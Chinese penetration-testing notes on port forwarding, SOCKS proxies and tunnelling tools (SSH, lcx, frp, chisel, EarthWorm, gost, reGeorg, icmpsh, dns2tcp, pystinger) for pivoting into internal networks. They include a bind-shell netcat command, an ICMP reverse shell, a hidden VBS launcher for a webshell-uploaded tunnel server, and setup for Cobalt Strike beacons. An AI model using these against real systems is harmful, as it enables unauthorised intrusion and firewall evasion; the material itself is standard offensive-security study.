网络隧道

概念

  • 端口转发:感觉更应该叫流量转发,将来自一个网络节点的数据包转发到另一个网络节点,一般分为本地端口转发、正向端口转发、反向端口转发等,举个例子,本地设置一个端口转发,将8888端口的流量转发到80端口,这样访问8888端口的流量就跑到了80端口上,实际上我们访问到的就是80端口的服务,实际应用中,它用于路由器或防火墙上,以允许从公共网络访问内网服务。

  • 端口映射的英文名就是nat,即端口映射与nat是同义词,泛指一个地址端口转换成另一个地址端口,不限内外网地址。比较具体的例子应该是docker主机的端口映射,例如将docker主机的22端口映射到宿主机的2222;可以说端口映射就是端口转发的一种

  • 内网穿透,一般指内网映射,内网端口映射外网,比如可以在公网访问你内网的电脑。可以说是端口映射在内外网互通场景上的限定词义。

  • 代理:分为正向代理和反向代理,正向代理如梯子,反向代理如服务器负载均衡

  • socks:代理常用的协议,中文意思:防火墙安全会话转换协议,工作在OSI参考模型的第5层(会话层),是介于传输层和应用层之间的,使用TCP协议传输数据,因而不提供如传递ICMP信息之类的网络层相关服务。

    目前有两个版本:SOCKS4和SOCKS5

    SOCKS4支持TELNET、FTPHTTP等TCP协议;

    SOCKS5支持TCP与UDP,并支持安全认证方案。

    它是一种==可以穿透防火墙==的协议,很多场景都会用到。比如Fan墙

关于这一块其实只要分成三块来学就好:隧道、代理、转发

  • 隧道技术解决不出网协议上线的问题(利用出网协议封装出网)

  • 代理技术解决网络通讯不通的问题(利用跳板机建立节点)

转发感觉和代理差不多,但又不完全像

image-20231022005706243

一、端口转发

1、SSH

https://wangdoc.com/ssh/port-forwarding

https://www.zsythink.net/archives/2450

https://www.bilibili.com/video/BV1fm4y1W7VQ

SSH 除了登录服务器,还有一大用途,就是作为加密通信的中介,充当两台服务器之间的通信加密跳板,使得原本不加密的通信变成加密通信。这个功能称为端口转发(port forwarding),又称 SSH 隧道(tunnel)。

ssh有三个强大的端口转发命令,分别是本地转发、远程转发、动态转发。

参数

参数详解:

-T 不占用 shell
-f 后台运行,并推荐加上 -n 参数
-N 不执行远程命令
-g允许远端主机连接本地转发的端口
-C 允许压缩数据
-q 安静模式
-n把 stdin 重定向到 /dev/null (防止从 stdin 读取数据)

-L port:host :hostport 正向代理
//将本地机(客户机)的某个端口转发到远端指定机器的指定端口

-R port:host :hostport 反向代理
//将远程主机(服务器)的某个端口转发到本地端指定机器的指定端口

-D port socks5代理
//指定一个本地机器 "动态" 应用程序端口转发

无论是本地端口转发还是远程端口转发,都需要在服务器上配置 /etc/ssh/sshd_config:
GatewayPorts yes
如果长时间保持连接,那么还需要开启:
TCPKeepAlive yes

执行ssh命令的一端为客户端,端口如果被转发到客户端就是本地转发,反之是远程转发

  • 本地转发:==远程服务转发到本地==,如mysql不能直接root用户远程登陆。这时候就可以通过本地转发,通过ssh将服务器的3306端口转发到本地1234端口实现以root用户远程登陆mysql。

    渗透中常用的场景是==跳板机当作SSH 服务器转发内网端口到本地,命令在攻击机执行==。

    它的语法如下,其中会指定本地端口(local-port)、SSH 服务器(tunnel-host)、远程服务器(target-host)和远程端口(target-port)。

    $ ssh -L -N -f local-port:target-host:target-port 用户名@跳板IP
    ssh -CfNg -L <代理ip>:<代理port>:<目的ip>:<目的port> 用户名@跳板IP(受害者ip)

    上面命令中,有三个配置参数。

    • -L:转发本地端口。

    image-20240101021833076

  • -N:不发送任何命令,只用来建立连接。没有这个参数,会在 SSH 服务器打开一个 Shell。

    • -f:将 SSH 连接放到后台。没有这个参数,暂时不用 SSH 连接时,终端会失去响应。

      如下所示,将192.168.111.5的22端口转发到192.168.111.3自己本地的3334端口

      中间可能会有warning转发不了,执行它提示的命令就好,比如我这里执行的是ssh-keygen -f "/root/.ssh/known_hosts" -R "192.168.111.5"

    image-20240101002858443

image-20240101021926836

  • 远程转发:远程转发指的是在远程 SSH 服务器建立的转发规则。它跟本地转发正好反过来。是通过远程 SSH 服务器访问本地计算机。

    它的作用是==远程主机A的服务转发到远程主机B==,如内网的服务器A,外网不能直接访问,使用远程转发,将内网的服务器A端口转发到外网端口B(内网穿透)

    渗透中常用的场景是==跳板机不允许别人主动连接的情况,只能跳板机主动发出连接请求,命令在跳板机执行==。

    它的命令格式如下:

    $ ssh -R remote-port:target-host:target-port -N remotehost
    ssh -CfNg -R <转发到的端口>:<被转发的地址>:<被转发的端口> 用户名@远程IP(黑客的ip)

    上面命令中,-R参数表示远程端口转发,remote-port是远程 SSH 服务器的端口,target-hosttarget-port是目标服务器及其端口,remotehost是远程 SSH 服务器。

    注意

    • 公网服务器修改配置:/etc/ssh/sshd_config GatewayPorts yes 重启ssh
    1. sshd_config里要打开AllowTcpForwarding选项,否则-R远程端口转发会失败。
    2. 默认转发到远程主机上的端口绑定的是127.0.0.1,如要绑定0.0.0.0需要打开sshd_config里的GatewayPorts选项。这个选项如果由于权限没法打开也有办法,可配合ssh -L将端口绑定到0.0.0.0,聪明的你应该能想到办法,呵呵。
  • 动态转发

    跟本地转发类似,区别是本地转发指定访问某个远程端口,而这里是不指定的,可以用来创建==socks代理==

    通常用于绕过防火墙或者受限制资源的情况

    远端服务器有限制隔离,本地主机无法直接访问,需要将一台可以访问远端服务器的主机作为跳板,设置为代理端,来代理访问不能访问的资源。

    ssh -qTfnN -D <代理port> 用户名@跳板IP(A)

    本地Proxychains配置socks5 127.0.0.1 1080

    这里我kali设置本地1088端口,再去浏览器设代理是可以访问到CFS二层靶机的

    image-20240101022825817

image-20240101022146785

2、Lcx

https://www.cnblogs.com/-mo-/p/11537339.html

lcx是一款端口转发工具,有三个功能:

  • 第一个功能将本地端口转发到远程主机某个端口上(代理)
  • 第二个功能将本地端口转发到本地另一个端口上(绕过只允许本地连接的情况)
  • 第三个功能是进行监听并进行转发使用

win

Usage:lcx-<listen|tran|slave> <option> [-log logfile]

-tran <等待连接的端口> <目标ip> <目标端口>  (端口映射)

-listen <监听slave请求的端口(对应slave 的第二个参数)> <等待连接的端口>  (端口转发) 
本地转到本地lcx -listen 40050 10000

-slave <你的ip> <监听端口(对应listen的第一个参数)> <目标ip> <目标端口>  (端口转发) 
本地端口转到其他机器lcx -slave 1.1.1.1 40050 10.10.0.3 3389
  • 本地(正向)端口转发

    lcx.exe -tran <转发到的port> <被转发的ip> <被转发的port>
  • 反向端口转发

    公网服务器监听1234并转发到本地8888

    lcx.exe -listen 1234 8888

    内网服务器开启反向连接,将本地3389端口转发至外网服务器1234端口:

    lcx.exe -slave 192.168.100.1 1234 127.0.0.1 3389

    攻击机连接公网服务器的8888端口

  • Linux版lcx

    Linux版本的lcx叫做portmap

    先将对应的c文件上传至linux服务器中,通过gcc进行编译后即可使用:

    gcc portmap.c -o lcx
    
    Usage:./portmap -m method [-h1 host1] -p1 port1 [-h2 host2] -p2 port2 [-v] [-log filename]
    -v: version
    -h1: host1
    -h2: host2
    -p1: port1
    -p2: port2
    -log: log the data
    -m: the action method for this tool
    1: listen on PORT1 and connect to HOST2:PORT2
    2: listen on PORT1 and PORT2  | 本地转到本地./portmap -m 2 -p1 6666 -h2 118.*.*.2 -p2 7777
    3: connect to HOST1:PORT1 and HOST2:PORT2  | 本地端口转到其他机器./portmap -m 3 -h1 127.0.0.1 -p1 22 -h2 118.*.*.2 -p2 6666

    功能与windows版一样,例如将流量正向转发至外网服务器的3389端口:

    ./lcx -m l -p1 8888 -h2 192.168.3.140 -p2 3389

多层代理

首先,在VPS上进行下面操作。监听 2222 的流量,将其转发给 22222 端口。相当于正向代理
./lcx -m 2 -p1 22222 -h2 127.0.0.1 -p2 2222  
在内网主机上操作,将22端口的流量转发到VPS(114.118.80.138)的22222端口。相当于反向代理
./lcx -m 3 -h1 127.0.0.1 -p1 22 -h2 114.118.80.138 -p2 22222 
我们连接VPS的2222端口,就相当于连接了内网主机的22端口。
ssh root@114.118.80.138 2222

3、Netsh

netsh 是==Windows自带==的命令行脚本工具,它可以建立端口映射。与LCX不同,netsh==不支持反向的端口转发==。

和lcx类似,我们将外网服务器的80端口,转发到8888端口:

netsh interface portproxy add v4tov4 listenport=8888 connectport=80 connectaddress=192.168.3.140

通过以下命令可查询当前转发策略:

Netsh interface portproxy show all

可通过delete命令删除策略:

netsh interface portproxy delete v4tov4 listenport=8888

下面演示跳板机把内网的3389转发到自己的8888(正向代理)

在外网服务器配置端口转发:

netsh interface portproxy add v4tov4 listenaddress=192.168.3.140 8888 connectaddress=192.168.100.2 connectport=3389

删除策略:

netsh interface portproxy delete v4tov4listenport=8888 listenaddress=192.168.3.140

4、frp

frp 是一个高性能的反向代理应用,支持 tcp, udp, http, https 协议。

https://github.com/fatedier/frp/releases

服务端

[common]
bind_port = 7000

./frps -c ./frps.ini

客户端

[common]
server_addr = 152.x.x.x     #服务端ip,也就是公网服务器ip 
server_port = 7000          #服务器端口

[ssh]                       #这个是节点名称,可以随便写
type = tcp                  #通信协议  或者是  plugin =
local_ip = 127.0.0.1        #本地地址
local_port = 3389           #要转发的端口
remote_port = 6000          #要转发到的远程端口!!!

./frpc -c frpc.ini

然后连接服务端的6000端口就好,==注意连接的不是监听端口,而是客户端指定的端口==

本地端口转发的话可以在本地同时开始服务端和客户端,ip指定本地就好

5、nc

https://ssooking.github.io/2020/05/nc%E7%AB%AF%E5%8F%A3%E8%BD%AC%E5%8F%91/

nc的功能是很强大的,可以反弹shell、通讯、文件传输,甚至能端口转发

正向转发,所有发往本机8888端口的流量都会跑到192.168.111.3的22端口

nc -l -p 8888 -c "nc 192.168.111.3 22"
#或者使用管道符
mkfifo /tmp/pipe && nc -l -p 8888 </tmp/pipe | nc 192.168.19.153 22 >/tmp/pipe
#or
mknod /tmp/pipe p && nc -l -p 8888 < /tmp/pipe | nc 192.168.19.153 22 >/tmp/pipe

解决nc单次连接问题

常见nc版本

  • nc、ncat、netcat
  • nc -c netcat-traditional

nc

while :; do (nc -l -p 8888 -c "nc 192.168.19.153 22"); done
while [ 1 ]; do nc -l -p 8888 -c "nc 192.168.19.153 22"; done
while [ 1 ]; do mkfifo /tmp/pipe && nc -l -p 8888 </tmp/pipe | nc 192.168.19.153 22 >/tmp/pipe; done

socat

# 本地转发
socat tcp-l:8888,reuseaddr,fork tcp:localhost:22

# 远程转发
socat tcp-l:8888,fork,reuseaddr tcp:192.168.19.153:22

ncat

https://nmap.org/ncat/

当客户端与服务器断开连接时,服务器也会停止监听,可以通过选项’k’强制服务器保持连接状态并继续侦听端口:

#Now all the connections for port 80 will be forwarded to port 8080.
ncat -u -l 80 -c  'ncat -u -l 8080'

ncat -l -k localhost 8080 --sh-exec "ncat example.org 80"

netcat

http://netcat.sourceforge.net/download.php

netcat -l -p 1234 -e /bin/bash

# 把访问某个端口的数据转发到本地或远程端口
netcat -L 127.0.0.1:22 -p 8080 -vvv
netcat -L 192.168.10.1:80 -p 25000 -vvv

nc结合ssh

mkfifo pipe
nc -l -p 8080 < pipe | ssh gw_to_private_net -p 22977  "nc 192.168.12.230 80" | tee pipe

常见nc端口转发命令:

nc -v -lk -p 8001 -e /usr/bin/nc 127.0.0.1 8000

此外还可能遇到不支持某些参数的情况,可以使用多管道传输。

OSX:

mkfifo a
mkfifo b
nc 127.0.0.1 8000 < b > a &
nc -l 8001 < a > b &

在OS X bash上使用双向管道。该命令也可能在其他Unix上运行:

nc 127.0.0.1 8000 <&1 | nc -l 8001 >&0

Linux:

mkfifo backpipe
nc -l 12345 0<backpipe | nc www.google.com 80 1>backpipe

二、SOCKS代理

chisel

https://github.com/jpillora/chisel

这款工具底层采用了HTTP进行传输,将TCP/UDP链接封装在HTTP隧道中,并且还使用了SSH对通信数据进行加密。

==代理==

正向
靶机chisel.exe server -p 7788
攻击机chisel client 110.40.177.201:7788 socks
默认在1080端口上开启一个socks代理,当然这个端口可以改,使用$port:socks

反向
攻击机chisel server -p 7788 --reverse
靶机chisel.exe client 39.101.65.187:7788 R:socks

ssh -C -f -N -g -L 0.0.0.0:10080:127.0.0.1:1080 root@VPS
把1080的流量转向10080

==二级代理+二级端口转发==

image-20240716132643791

代理

kali:
chisel server -p 3333 --reverse

web01:
开启两个终端,既要运行 client 也要运行 server
chisel server -p 2222 --reverse --socks5
chisel client 192.168.126.132:3333 R:1111:socks

web02:
chisel client 192.168.150.128:2222 R:5555:socks

proxychains.conf 文件设置代理链
socks5 127.0.0.1 1111
socks5 127.0.0.1 5555

二级端口转发

kali:
chisel  server -p 3333 --reverse

web01:
开启两个终端,既要运行 client 也要运行 server
chisel server -p 2222 --reverse
chisel client 192.168.126.132:3333 R:1111:127.0.0.1:5555

web02:
chisel client 192.168.150.128:2222 R:5555:192.168.59.129:80
在 kali 上访问 127.0.0.1:1111,即可访问 192.168.59.129 的 80 端口

chisel client 110.40.177.201:7788 R:4444:socks

==端口转发==

正向
靶机chisel server -p 12345
攻击机chisel.exe client 192.168.61.128:12345 11111:127.0.0.1:8000
这时我们就将靶机的8000端口转发到攻击机的11111端口上了,此时在攻击机上访问127.0.0.1:11111

反向
攻击机chisel.exe server -p 7788 --reverse
靶机chisel client 192.168.61.129:12345 R:11111:127.0.0.1:7788
    chisel.exe client -v VPS:6666 R:0.0.0.0:33389:192.168.223.151:3389

image-20240520163114594

EarthWorm

https://www.freebuf.com/sectool/282993.html

EW 是一套便携式的网络穿透工具,既支持SOCKS5代理转发,又支持静态端口转发。

该工具共有6种命令格式(ssocksd、rcsocks、rssocks、lcx_slave、lcx_listen、lcx_tran)

该工具共有6种命令格式(ssocksd、rcsocks、rssocks、lcx_listen、lcx_tran)

-l 本地要监听的端口
-f 要主动连接的ip
-g 要主动连接的端口
-d 要反弹到的ip
-e 要反弹到的端口
-s 工作模式

工作模式支持如下:
lcx_tran 正向tcp端口转发,监听在本地
lcx_slave 反向tcp转发客户端
lcx_listen 反向tcp服务端
ssocksd 创建正向socks代理服务端,监听在本地,直接把当前环境socks代理出去
rssocks 创建反向socks代理服务端
rcsocks 反向socks代理客户端

静态端口转发功能和lcx类似,下面来讲讲socks代理功能。

  • 正向代理

    边缘服务器上传ew,开启代理监听

    ew.exe -s ssocksd -l 1080

    然后我们攻击机浏览器代理直接连到这个跳板机的8899,就可以直接访问它内网的网站了

    当然也可以用Proxifier或者proxychains进行代理

  • 反向代理

假设外网服务器不允许外部向其主动发起连接,则使用反向代理的方法。

首先在攻击机上开启监听:

ew.exe -s rcsocks -l 1080 -e 8880

外网服务器向攻击机8880端口发起连接:

ew.exe -s rssocks-d 192.168.3.1 -e 8880

然后代理连接本地的1080就好了

gost

https://v2.gost.run/

常用

反向代理

// vps 106.53.104.88
gost -L socks5://:11122
// 内网主机
gost -L socks5://:65143
gost -L=rtcp://:58811/0.0.0.0:65143 -F=socks5://vps:11122

Server side: gost -L=socks5://:1080
Client side: gost -L=:8080 -F=socks5://vps:1080?notls=true

正向代理

启动参数

GOST目前有以下几个参数项:

-L - 指定本地服务配置,可设置多个。

-F - 指定转发服务配置,可设置多个,构成转发链。

-C - 指定外部配置文件。

-D - 开启Debug模式,更详细的日志输出。

-V - 查看版本,显示当前运行的gost版本号。

配置文件

除了通过命令行直接配置服务外,也可以通过-C参数指定外部配置文件来设置参数:

gost -C gost.json

配置文件为标准json格式:

{
    "Debug": true,
    "Retries": 0,
    "ServeNodes": [
        ":8080",
        "ss://chacha20:12345678@:8338"
    ],
    "ChainNodes": [
        "http://192.168.1.1:8080",
        "https://10.0.2.1:443"
    ],
    "Routes": [
        {
            "Retries": 1,
            "ServeNodes": [
                "ws://:1443"
            ],
            "ChainNodes": [
                "socks://:192.168.1.1:1080"
            ]
        },
        {
            "Retries": 3,
            "ServeNodes": [
                "quic://:443"
            ]
        }
    ]
}

格式说明:

Debug - 对应命令行参数-D。(2.4+)

Retries - 通过代理链建立连接失败后的重试次数。(2.5+)

ServeNodes - 必须项,等同于命令行参数-L

ServeNodes - 必须项,等同于命令行参数-L

ChainNodes - 等同于命令行参数-F

Routes - 可选参数,额外的服务列表,每一项都拥有独立的转发链。(2.5+)

kali

kali 监听11122端口
gost -L socks5://:11122

centos主机 centos

顺序执行下面两个命令
nohup ./gost -L socks5://:65143
nohup ./gost -L=rtcp://:58811/0.0.0.0:65143 -F=socks5://192.168.1.131:11122

代理: 192.168.1.131:58811

终止运行中的nohup服务,可以按照以下步骤进行操作:

首先,使用ps命令查找正在运行的nohup进程。在命令行中执行以下命令:
ps aux | grep nohup
这将列出包含"nohup"关键字的进程列表。

根据查询结果找到要终止的nohup进程的进程ID(PID)。

使用kill命令向指定的进程发送终止信号。在命令行中执行以下命令,将PID替换为实际的进程ID:

kill PID
例如,如果要终止PID为12345的进程,执行以下命令:

kill 12345

代理模式

开启一个或多个代理服务,并可以设置转发链进行转发。

开启一个HTTP代理服务

命令行配置文件

gost -L http://:8080

启动一个监听在8080端口的HTTP代理服务。

开启多个代理服务

命令行配置文件

gost -L http://:8080 -L socks5://:1080 

启动两个服务,一个监听在8080端口的HTTP代理服务,和一个监听在1080端口的SOCKS5代理服务。

使用转发

命令行配置文件

gost -L http://:8080 -F http://192.168.1.1:8080

监听在8080端口的HTTP代理服务,使用192.168.1.1:8080做为上级代理进行转发。

使用多级转发(转发链)

命令行配置文件

gost -L :8080 -F http://192.168.1.1:8080 -F socks5://192.168.1.2:1080

GOST按照-F设置的顺序将请求最终转发给192.168.1.2:1080处理。

转发模式

更详细的使用说明请参考端口转发

TCP本地端口转发

命令行配置文件

gost -L tcp://:8080/192.168.1.1:80

将本地的TCP端口8080映射到192.168.1.1的80端口,所有到本地8080端口的数据会被转发到192.168.1.1:80。

UDP本地端口转发

命令行配置文件

gost -L udp://:10053/192.168.1.1:53

将本地的UDP端口10053映射到192.168.1.1的53端口,所有到本地10053端口的数据会被转发到192.168.1.1:53。

TCP本地端口转发(转发链)

命令行配置文件

gost -L=tcp://:8080/192.168.1.1:80 -F socks5://192.168.1.2:1080

将本地的TCP端口8080通过转发链映射到192.168.1.1的80端口。

TCP远程端口转发

命令行配置文件

gost -L=rtcp://:2222/:22 -F socks5://192.168.1.2:1080

在192.168.1.2上开启并监听TCP端口2222,并将192.168.1.2上的2222端口映射到本地TCP端口22,所有到192.168.1.2:2222的数据会被转发到本地端口22。

UDP远程端口转发

命令行配置文件

gost -L=rudp://:10053/:53 -F socks5://192.168.1.2:1080

在192.168.1.2上开启并监听UDP端口10053,并将192.168.1.2上的10053端口映射到本地UDP端口53,所有到192.168.1.2:10053的数据会被转发到本地端口53。

多层代理

#代理跳板
#第三层跳板,设置代理
./gost -L mtls+kcp://admin:123456@0.0.0.0:22222

#第二层跳板,设置代理,且指定后续跳转到第三层跳板
./gost -L=socks5://admin:123456@:22222 -F=mtls+kcp://admin:123456@第三层跳板的IP:22222

#第一层跳板,开启代理1080端口,且指定第二层和第三层跳板
.\gost.exe -L socks5://:1080 -F=mtls+kcp://admin:123456@第二层跳板的IP:22222 -F=mtls+kcp://admin:123456@第三层跳板的IP:22222     #顺序不能乱、不能少

MSF

image-20231022110615567

三、隧道

https://www.freebuf.com/articles/network/242015.html

常用的隧道技术有以下三种:

  • 网络层:IPv6 隧道、ICMP 隧道

    • IPV6:IPv6 隧道技术是指==通过 IPv4 隧道传送IPv6 数据报文==的技术。

      支持 IPv6 的隧道工具有 socat、6tunnel、nt6tunnel 等

      因为现阶段的边界设备、防火墙甚至入侵防御系统 还无法识别 IPv6 的通信数据,而大多数的操作系统支持 IPv6 ,所以需要进行人工配置。

      攻击者有时会通过恶意软件来配置允许进行 IPv6 通信的设备,以避开防火墙和入侵检测系统。

    • ICMP:在 ICMP 通信协议中,通信双方的两台设备不需要开放端口即可进行,而在一般的通信协议中,是必须要开放端口的。

      在一些网络环境中,如果攻击者使用各类上层隧道(例如HTTP隧道、DNS隧道、常规端口转发等)进行的操作都失败了,由于防火墙不会屏蔽ping数据包,所以常常会通过ping命令访问远程主机,尝试建立ICMP隧道,将TCP/UDP数据封装到ICMP的ping数据包中,从而穿过防火墙,实现不受限制的网络访问。

  • 传输层:TCP 隧道、UDP 隧道、常规端口转发

    我们常用的lcx、nc就是这个层的隧道

  • 应用层:SSH 隧道、HTTP/S 隧道、DNS 隧道

    • SSH

      SSH协议的传输是被允许通过防火墙及边界设备的,且SSH传输过程加密,很难区分是合法的SSH会话还是攻击者建立的隧道,所以经常被攻击者所利用。

判断内网的连通性是指判断机器能否上外网等。(综合判断各种协议)各协议的方法如下:

\1. TCP 协议

用“瑞士jundao”——netcat

执行 nc 命令:nc <IP> <端口>

\2. HTTP 协议

用“curl”工具,执行curl <IP地址:端口>命令。如果远程主机开启了相应的端口,且内网可连接外网的话,就会输出相应的端口信息。

\3. CIMP 协议

用“ping”命令,执行ping <IP地址/域名>

\4. DNS 协议

检测DNS连通性常用的命令是“nslookup”和“dig”。

nslookup 是windows自带的DNS探测命令,执行:

 nslookup www.baidu.com vps-ip
 nslookup www.baidu.com     // 不指定服务器,则使用默认的DNS服务器

dig是linux系统自带的DNS探测命令,执行:

 dig @vps-ip www.baidu.com
 dig www.baidu.com          // 不指定服务器,则使用默认的DNS服务器

HTTP - reGeorg

地址:https://github.com/sensepost/reGeorg

例如有一台主机运行了web服务IP映射到公网任何人都可以任意访问,还有一台主机是内网中的主机外部访问不到。假设在公网的web主机已经上传了webshell,但无法反弹shell,无法直接将内网主机通过端口映射到外网主机。

reGeorg这时就起作用了,通过上传reGeorg文件在web服务运行,使得攻击者发出的请求以及目标机器的响应经web服务的http转发,达到攻击者可以和内网主机进行通信的效果。

reGeorg是一款把内网服务器端口的数据通过==HTTP/HTTPS隧道==转发到本机,实现基于HTTP通信的工具。

使用时需要==配合webshell==建立一个SOCKS代理来进行内网穿透,支持多种类型的webshell:

image-20231018235334612

reGeorg requires Python 2.7 and the following modules:

  • urllib3 - HTTP library with thread-safe connection pooling, file post, and more.
$ reGeorgSocksProxy.py [-h] [-l] [-p] [-r] -u  [-v]

Socks server for reGeorg HTTP(s) tunneller

optional arguments:
  -h, --help           show this help message and exit
  -l , --listen-on     The default listening address
  -p , --listen-port   The default listening port
  -r , --read-buff     Local read buffer, max data to be sent per POST
  -u , --url           The url containing the tunnel script
  -v , --verbose       Verbose output[INFO|DEBUG]

==运行python脚本前一定要给上传到跳板机的脚本文件加权限!==

python2运行reGeorgSocksProxy.py脚本配置代理,当程序卡在“Georg says, ‘All seems fine’”表示正常运行

$ python2 reGeorgSocksProxy.py -p 8080 -u http://upload.sensepost.net:8080/tunnel/tunnel.jsp

-p指定端口后用proxy工具连接到这个端口就好,windows用proxifier,linux用proxychains

reGeorg+Proxifier

这个软件值得说的只有代理规则的配置

image-20231019002447098

reGeorg+proxychains

https://blog.lanweihong.com/posts/49517/

ProxyChains 遵循GNU协议的一款适用于linux系统的网络代理设置工具。强制由任一程序发起的TCP连接请求必须通过诸如TOR 或 SOCKS4, SOCKS5 或HTTP(S) 代理。支持的认证方式包括:SOCKS4/5的用户/密码认证,HTTP的基本认证。允许TCP和DNS通过代理隧道,并且可配置多个代理。

GitHub:

proxychains-ng 是 proxychains 的加强版,目前用得比较多的也是 proxychains-ng。

安装

git clone https://ghproxy.com/https://github.com/rofl0r/proxychains-ng.git
yum install gcc
cd proxychains-ng
./configure --prefix=/usr --sysconfdir=/etc
make 
make install
make install-config
cd .. && rm -rf proxychains-ng

安装后默认配置文件在/etc/proxychains.conf

proxychains-ng支持多种代理模式:

  • dynamic_chain :按照代理列表顺序自动选取可用代理

  • strict_chain :按照代理列表顺序使用代理,所有代理必须可用

  • round_robin_chain :轮询模式,自动跳过不可用代理

  • random_chain :随机模式

我们只需要编辑proxychains的配置文件,将scosks代理的ip,端口,用户名,密码填进去即可

vi /etc/proxychains.conf #直接划到最后
#socks4 127.0.0.1 9050 #注释或者直接删掉默认的本地代理
socks5 104.168.13.4 19059 test passwd #填入socks代理信息
#保存并退出

使用:

只需要使用代理的命令前加上proxychains就可以了,比如proxychains4 curl cip.cc,我们可以看到IP已经变成socks代理的IP。

当然,我们也可以直接输入proxychains bash,这样就能新建一个具有代理功能的新终端,不需要在每条命令前都加proxychains了。

ICMP

在 ICMP 通信协议中,==通信双方的两台设备不需要开放端口即可进行,而在一般的通信协议中,是必须要开放端口的==。

icmp隧道主要因为大部分防火墙不会屏蔽 ping ,所以可以将流量封装在icmp进行传输,这种速度跟sockets相比太慢了,特殊情况才会使用。

icmpsh的使用:

imcpsh.exe参数:

 -t  host主机ip地址,用于向其发送ping请求。 此选项是强制性的!
 -r  发送包含字符串的单个测试icmp请求,然后退出。这是用于测试连接的。
 -d  毫秒请求之间的延迟(以毫秒为单位)
 -o  毫秒响应超时(以毫秒为单位)。 如果未及时收到回复,
                     从站将增加一个空白计数器。 如果该计数器达到极限,则从站将退出。
                     如果收到响应,则计数器设置回0。
 -b  空格数限制(退出前未答复的icmp请求
 -s  字节最大数据缓冲区大小(以字节为单位)

服务端:

python icmpsh_m.py ip 目标ip

目标机

icmpsh.exe -t 目标ip

即可反弹icmp隧道shell回来。

image-20231022014944745

image-20231022020256220

image-20231022015723088

DNS

这个比较麻烦需要准备一个域名,和一台DNS服务器,在域名解析添加一条NS记录和一条A记录。举个例子,域名是http://123.com,添加一个子域名http://a.123.com,且类型为NS,并将NS记录指向http://b.123.com,然后将http://b.123.com建立A记录服务器IP即可,利用的工具也很多,本文简单介绍dns2tcp。

a.123.com NS b.123.com
b.123.com A 1.1.1.1

https://link.zhihu.com/?target=https%3A//github.com/HEYAHONG/dns2tcp

客户端

dns2tcpc -r nc -z a.123.com 1.1.1.1 -l 8888 -d 2  
-r 后接服务名称任意换, 本文用nc
-z 后接NS记录的网址
-l 后接本地端口

服务端

修改dns2tcpd.conf,

listen = 0.0.0.0
port = 53
user = root
chroot = /home/
domain = a.123.com
key = 123
resources = ssh:127.0.0.1:22,smtp:127.0.0.1:25,socks:127.0.0.1:1080,http:127.0.0.1:80,https:127.0.0.1:8080

然后执行,dns隧道就搭建好了,利用nc进行传输文件即可。

dns2tcpd -F -d 3 -f /home/dns2tcpd.conf

建立传输

目标主机监听并接受文件即可。

毒刺-pystinger

pystinger 可通过 webshell 实现ss4代理、端口映射,并且可以利用pystinge实现CobaltStrike / Metasploit上线。由于稳定性、速度一般,不建议优先使用,在常规正向代理没法用、只能访问web服务的时候或者想在不出网的机器上C2,可以尝试。

下载地址:https://github.com/FunnyWolf/pystinger

通过webshell实现内网SOCK4代理,端口映射可以使目标不出网情况下在cs上线。

  1. 首先上传对应语言的脚本到网站目录下。

  2. 将stinger_server.exe上传到目标服务器

    将stinger_server.exe上传到目标服务器,蚁剑/冰蝎执行start D:/XXX/stinger_server.exe启动服务端
    不要直接运行D:/XXX/stinger_server.exe,会导致tcp断连

    创建stinger_server.vbs文件,示例如下:

    Set ws = CreateObject("Wscript.Shell")
    ws.run "cmd /c D:\XXXXX\stinger_server.exe 0.0.0.0",vbhide
  3. 把stinger_client上传到公网vps,-w指定proxy的url地址运行。

    此时已经在 VPS 的 6000 端口启动了一个ss4a代理,同时将目标机器 60020 端口映射到 VPS 上的60020(好像是默认的)

chmod 777 stinger_client
./stinger_client -w http://x.x.x.x/proxy.jsp -l 0.0.0.0 -p 6000
root@kali:~# ./stinger_client -w http://example.com:8080/proxy.jsp -l 127.0.0.1 -p 60000
2020-01-06 21:12:47,673 - INFO - 619 - Local listen checking ...
2020-01-06 21:12:47,674 - INFO - 622 - Local listen check pass
2020-01-06 21:12:47,674 - INFO - 623 - Socks4a on 127.0.0.1:60000
2020-01-06 21:12:47,674 - INFO - 628 - WEBSHELL checking ...
2020-01-06 21:12:47,681 - INFO - 631 - WEBSHELL check pass
2020-01-06 21:12:47,681 - INFO - 632 - http://example.com:8080/proxy.jsp
2020-01-06 21:12:47,682 - INFO - 637 - REMOTE_SERVER checking ...
2020-01-06 21:12:47,696 - INFO - 644 - REMOTE_SERVER check pass
2020-01-06 21:12:47,696 - INFO - 645 - --- Sever Config ---
2020-01-06 21:12:47,696 - INFO - 647 - client_address_list => []
2020-01-06 21:12:47,696 - INFO - 647 - SERVER_LISTEN => 127.0.0.1:60010
2020-01-06 21:12:47,696 - INFO - 647 - LOG_LEVEL => INFO
2020-01-06 21:12:47,697 - INFO - 647 - MIRROR_LISTEN => 127.0.0.1:60020
2020-01-06 21:12:47,697 - INFO - 647 - mirror_address_list => []
2020-01-06 21:12:47,697 - INFO - 647 - READ_BUFF_SIZE => 51200
2020-01-06 21:12:47,697 - INFO - 673 - TARGET_ADDRESS : 127.0.0.1:60020
2020-01-06 21:12:47,697 - INFO - 677 - SLEEP_TIME : 0.01
2020-01-06 21:12:47,697 - INFO - 679 - --- RAT Config ---
2020-01-06 21:12:47,697 - INFO - 681 - Handler/LISTEN should listen on 127.0.0.1:60020
2020-01-06 21:12:47,697 - INFO - 683 - Payload should connect to 127.0.0.1:60020
2020-01-06 21:12:47,698 - WARNING - 111 - LoopThread start
2020-01-06 21:12:47,703 - WARNING - 502 - socks4a server start on 127.0.0.1:60000
2020-01-06 21:12:47,703 - WARNING - 509 - Socks4a ready to accept

cobalt strike添加监听,端口选择输出信息RAT Config中的Handler/LISTEN中的端口(通常为60020),beacons为127.0.0.1

  • 生成payload,执行可以利用pystinger,进行不出网主机上线。

image-20240404213007851

坑点:使用过程中cs会话可能假死掉,需要把stinger_server.exe进程结束掉,然后重新启动。

四、穿透工具

Ngrok

支持http https tcp协议

https://www.ngrok.cc/

提供免费的内网穿透服务,举个内网连接kali反向木马的例子

  • 我们可以用它把kali穿透到这个网站提供的免费域名和端口上

  • kali生成反向木马,反向木马连接这个网站给的域名和端口

  • kali监听本地端口(设置穿透端口时自己填的那个端口)

  • 这样就实现了内网到内网的msf上线

frp

支持的协议更多

上面写了

nps

可支持tcp、udp以及他们的任何上层协议,此外还支持内网http代理、内网socks代理、p2p等,并带有强大的web管理端

项目地址:https://github.com/ehang-io/nps

文档:https://ehang-io.github.io/nps/

spp

